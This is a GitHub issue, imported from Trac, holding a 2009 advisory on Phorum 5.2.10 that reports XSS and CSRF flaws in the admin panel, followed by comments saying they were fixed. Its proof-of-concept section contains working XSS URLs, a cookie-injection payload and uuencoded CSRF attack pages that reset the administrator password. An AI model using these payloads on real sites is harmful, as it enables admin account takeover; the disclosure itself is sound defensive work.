search

Phorum / Core

The core of Phorum
http://www.phorum.org
68 stars 34 forks source link

Multiple Cross-Site Scripting & Cross-Site Request Foregery vulnerabilities #739

Closed Phorum closed 13 years ago

Phorum commented 13 years ago

{{{ vie 10 abr 2009 ART

=cicatriz c1c4tr1z@voodoo-labs.org=#=~~~~~~~~~~~~(advisories)=

=~~~~~~~~~~~~~~~~~~~~~~=

=Tested & Vulnerable packages=#=~~~~~~~~~~~~~~~=

[+] Phorum 5.2.10
[+] Phorum 5.2-dev

=~~~~~~~~~~~~~~~~~~~~~~=

=Technical Information=#=~~~~~~~~~~~~~~~~~~=

Phorum suffers from a series of Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) vulnerabilities, trough the admin panel and the "file uploading" section (with an XML file but it only works if you are using Mozilla Firefox as browser). Some other vulnerabilities:

[*] Cross-Site Scripting (XSS):

The most simple XSS can be executed easily and the error can be found on the file
"include/admin/banlist.php":

+++include/admin/banlist.php @@ 88:104
    88      if($_GET["curr"] && $_GET["delete"]){
    89  
    90          ?>
    91  
    92          <div class="PhorumInfoMessage">
    93              Are you sure you want to delete this entry?
    94              <form action="<?php echo $PHORUM["admin_http_path"] ?>" method="post">
    95                  <input type="hidden" name="module" value="<?php echo $module; ?>" />

XXX 96 97 98  <input type="submit" name="confirm" value="No" /> 99 100

101
102 <?php 103
104 } else { ---include/admin/banlist.php

The same security flaw can be found in the file "include/admin/banlist.php", line 94, and can be also
exploited with a single GET petition.
Here's another XSS attack but more difficult to be exploited, because you need to modify the user's
cookies to store the vector and redirect him to the "versioncheck.php" file:

+++versioncheck.php @@ 79:83
    79    <?php if ($upgrade_available) { ?>
    80      <div class="notify_upgrade">

XXX 81 New Phorum version <?php print $upgrade_available ?> available! 82

83 <?php } else { ?> ---versioncheck.php

There's another XSS on the file "include/admin/users.php" but it can only be exploited from a POST 
request on this lines:

+++include/admin/users.php @@ 87:93
    87          //check for a valid email
    88          if (!empty($_POST["email"])) {
    89              include('./include/email_functions.php');
    90              $valid_email = phorum_valid_email($_POST["email"]);
    91              if ($valid_email !== true)

XXX 92 $error = "The email \"$_POST[email]\" is not valid!"; 93 } ---include/admin/users.php

Also the line 82, on the same file, its vulnerable to the same attack.

A way to fix this can be done using htmlspecialchars() or htmlentities() and any other function that 
does a sanity check, i.e:

+++
<input type="hidden" name="curr" value="<?php echo htmlentities($_GET['curr'], ENT_QUOTES,
'UTF-8'); ?>" />

---

[*] Cross-Site Request Forgery (CSRF):

All the forms on the admin panel it's vulnerable to CSRF because of the lack of security tokens to
check if the administrator really wants to do those actions. Without a token an attacker can create
a new user as admin or change the administrator passwords and other personal data. Another type of
action can be done with a simple bbcode [img] tag. When the administrator see the [img] tag with a 
special crafted URL, an action, such as delete a topic, could be executed.
A more dangerous attack can lead to JavaScript execution.

=~~~~~~~~~~~~~~~~~~~~~~=

=Proof of Concept=#=~~~~~~~~~~~~~~~~~~~=

[*] Cross-Site Scripting (XSS):

+++
http://localhost/phorum-5.2.10/admin.php?module=banlist&curr=1"><img/src/onerror="alert('voodoo');
&delete=1

---

+++
http://www.victim.com/phorum-5.2.10/admin.php?module=badwords&curr=1"><img/src/onerror="
alert('voodoo');&delete=1

---

+++
javascript:with(document)cookie="phorum_upgrade_available=
<iframe/src='javascript:alert(/voodoo/.source)'>",
location="http://www.victim.com/phorum-5.2.10/versioncheck.php";

---

+++
POST /phorum-5.2.10/admin.php HTTP/1.1 

module=users&referrer=http%3A%2F%2Fwww.victim.com%2Fphorum-5.2.10%2Fadmin.php%3Fmodule%3Dusers
&addUser=1&username=xss&real_name=xss&
email=%3Ciframe%2Fsrc%3D%22javascript%3Aalert%28%27voodoo%27%29%3B%22%3E&password1=xss&password2=xss
&admin=0

---

[*] Cross-Site Request Forgery (CSRF):

Other CSRF proof-of-concept exploits can be found on:
    [*] http://research.voodoo-labs.org/code/exploits/phorum/5.2.10/

If the administrator see this special crafted HTML page, his password will be changed to a string 
specified by the attacker. (uuencoded)

+++
begin 644 attack.html
M/&AT;6P^"CQB;V1Y/@H)/&@Q/E!H;W)U;2`U+C(N,3`@(F5D:71U<V5R(B!#
M4U)&(&%T=&%C:SPO:#$^"@D\9F]R;2!A8W1I;VX](FAT='`Z+R]W=W<N=FEC
M=&EM+F-O;2]P:&]R=6TM-2XR+C$P+V%D;6EN+G!H<"(@;65T:&]D/2)03U-4
M(CX*"0D\:6YP=70@;F%M93TB;6]D=6QE(B!V86QU93TB=7-E<G,B('1Y<&4]
M(FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G-E8W1I;VXB('9A;'5E/2)M86EN
M(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)R969E<G)E<B(@=F%L
M=64](FAT='`Z+R]W=W<N=FEC=&EM+F-O;2]P:&]R=6TM-2XR+C$P+V%D;6EN
M+G!H<"(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB=7-E<E]I9"(@
M=F%L=64](C$B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G)E86Q?
M;F%M92(@<VEZ93TB-3`B('9A;'5E/2(B('1Y<&4](FAI9&1E;B(^"@D)/&EN
M<'5T(&YA;64](F5M86EL(B!S:7IE/2(U,"(@=F%L=64](F%D;6EN0'=E8FUA
M<W1E<BYC;VTB('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G!A<W-W
M;W)D,2(@=F%L=64](G!W;F5D(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N
M86UE/2)P87-S=V]R9#(B('9A;'5E/2)P=VYE9"(@='EP93TB:&ED9&5N(CX*
M"0D\=&5X=&%R96$@<W1Y;&4](G=I9'1H.C!P>#MH96EG:'0Z,'!X.V)O<F1E
M<CHP<'@[(B!N86UE/2)S:6=N871U<F4B(&-O;',](C,P(B!R;W=S/2(U(CYV
M;V]D;V\\+W1E>'1A<F5A/@H)"3QS96QE8W0@<W1Y;&4](G=I9'1H.C!P>#MH
M96EG:'0Z,'!X.V)O<F1E<CHP<'@[(B!N86UE/2)A8W1I=F4B/@H)"0D\;W!T
M:6]N('9A;'5E/2(P(CY.;SPO;W!T:6]N/@H)"0D\;W!T:6]N('9A;'5E/2(Q
M(B!S96QE8W1E9#TB<V5L96-T960B/EEE<SPO;W!T:6]N/@H)"3PO<V5L96-T
M/@H)"3QS96QE8W0@<W1Y;&4](G=I9'1H.C!P>#MH96EG:'0Z,'!X.V)O<F1E
M<CHP<'@[(B!N86UE/2)A9&UI;B(^"@D)"3QO<'1I;VX@=F%L=64](C`B/DYO
M/"]O<'1I;VX^"@D)"3QO<'1I;VX@=F%L=64](C$B('-E;&5C=&5D/2)S96QE
M8W1E9"(^665S/"]O<'1I;VX^"@D)/"]S96QE8W0^"@D)/&EN<'5T('9A;'5E
M/2)5<&1A=&4B(&-L87-S/2)I;G!U="UF;W)M+7-U8FUI="(@='EP93TB:&ED
M9&5N(CX*"3PO9F]R;3X*"3QS8W)I<'0^<V5T5&EM96]U="AF=6YC=&EO;B@I
M>V1O8W5M96YT+F9O<FUS6S!=+G-U8FUI="@I.WTL,'@U,#`I.SPO<V-R:7!T
3/@H\+V)O9'D^"CPO:'1M;#X*"@``
`
end

---

[*] CSRF + XSS:

This is another way to exploit those two types of attacks (XSS and CSRF). If the administrator see
this page a new folder will be created and the name is going to be a special HTML tag with a
JavaScript script. (uuencoded)

+++
begin 644 attack.html
M/&AT;6P^"CQB;V1Y/@H)/&@Q/E!H;W)U;2`U+C(N,3`@(FYE=V9O;&1E<B(@
M0U-21BM84U,@871T86-K/"]H,3X*"3QF;W)M(&%C=&EO;CTB:'1T<#HO+W=W
M=RYV:6-T:6TN8V]M+W!H;W)U;2TU+C(N,3`O861M:6XN<&AP(B!M971H;V0]
M(E!/4U0B/@H)"3QI;G!U="!T>7!E/2)H:61D96XB(&YA;64](F9O;&1E<E]F
M;&%G(B!V86QU93TB,2(^"@D)/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB
M;6]D=6QE(B!V86QU93TB;F5W9F]L9&5R(CX*"0D\:6YP=70@='EP93TB:&ED
M9&5N(B!N86UE/2)N86UE(B!S:7IE/2(S,"(@=F%L=64](B9L=#MI9G)A;64O
M<W)C/2=J879A<V-R:7!T.F%L97)T*"]V;V]D;V\O+G-O=7)C92D[)R9G=#LB
M(#X\+W1D/@H)"3QT97AT87)E82!N86UE/2)D97-C<FEP=&EO;B(@8V]L<STB
M-C`B(')O=W,](C$P(B!S='EL93TB=VED=&@Z,'!X.VAE:6=H=#HP<'@[8F]R
M9&5R.C!P>#LB/CPO=&5X=&%R96$^/"]T9#X*"0D\<V5L96-T('-T>6QE/2)W
M:61T:#HP<'@[:&5I9VAT.C!P>#MB;W)D97(Z,'!X.R(@;F%M93TB<&%R96YT
M7VED(B`^"@D)"3QO<'1I;VX@=F%L=64](C$B('-E;&5C=&5D/2)S96QE8W1E
M9"(^+2U.;VYE+2T\+V]P=&EO;CX*"0D\+W-E;&5C=#X*"0D\<V5L96-T('-T
M>6QE/2)W:61T:#HP<'@[:&5I9VAT.C!P>#MB;W)D97(Z,'!X.R(@;F%M93TB
M86-T:79E(B`^"@D)"3QO<'1I;VX@=F%L=64](C`B/DYO/"]O<'1I;VX^"@D)
M"3QO<'1I;VX@=F%L=64](C$B('-E;&5C=&5D/2)S96QE8W1E9"(^665S/"]O
M<'1I;VX^"@D)/"]S96QE8W0^"@D)/'-E;&5C="!S='EL93TB=VED=&@Z,'!X
M.VAE:6=H=#HP<'@[8F]R9&5R.C!P>#LB(&YA;64](G1E;7!L871E(B`^"@D)
M"3QO<'1I;VX@=F%L=64](F5M97)A;&0B('-E;&5C=&5D/2)S96QE8W1E9"(^
M4&AO<G5M($5M97)A;&0@5&5M<&QA=&4@,2XP/"]O<'1I;VX^"@D)"3QO<'1I
M;VX@=F%L=64](F-L87-S:6,B/D-L87-S:6,@4&AO<G5M(%1E;7!L871E(#`N
M-#PO;W!T:6]N/@H)"0D\;W!T:6]N('9A;'5E/2)L:6=H='=E:6=H="(^4&AO
M<G5M($QI9VAT=V5I9VAT(%1E;7!L871E(#$N,#PO;W!T:6]N/@H)"3PO<V5L
M96-T/@H)"3QS96QE8W0@<W1Y;&4](G=I9'1H.C!P>#MH96EG:'0Z,'!X.V)O
M<F1E<CHP<'@[(B!N86UE/2)L86YG=6%G92(@/@H)"0D\;W!T:6]N('9A;'5E
M/2)E;F=L:7-H(CY%;F=L:7-H("A!;65R:6-A;BD\+V]P=&EO;CX*"0D\+W-E
M;&5C=#X*"0D\:6YP=70@='EP93TB:&ED9&5N(B!I9#TB861M:6Y?8VAE8VMB
M;WA?,2(@;F%M93TB=G)O;W0B('9A;'5E/2(Q(CX*"0D\:6YP=70@='EP93TB
M:&ED9&5N(B!V86QU93TB4W5B;6ET(B!C;&%S<STB:6YP=70M9F]R;2US=6)M
M:70B/@H)/"]F;W)M/@H)/'-C<FEP=#YS9714:6UE;W5T*&9U;F-T:6]N*"E[
M9&]C=6UE;G0N9F]R;7-;,%TN<W5B;6ET*"D[?2PP>#4P,"D[/"]S8W)I<'0^
2"CPO8F]D>3X*/"]H=&UL/@H*
`
end

---

=cicatriz c1c4tr1z@voodoo-labs.org=#=~~~~~~~~~~~~(advisories)=

}}}

Reported by: C1c4Tr1Z Imported from TRAC: http://trac.phorum.org/ticket/841

Phorum commented 13 years ago

Partially fixed (XSS issues) in changeset [4009].

By: mmakaay

Phorum commented 13 years ago

the other issues were fixed which lead to the 5.2.11 RC1.

By: ts77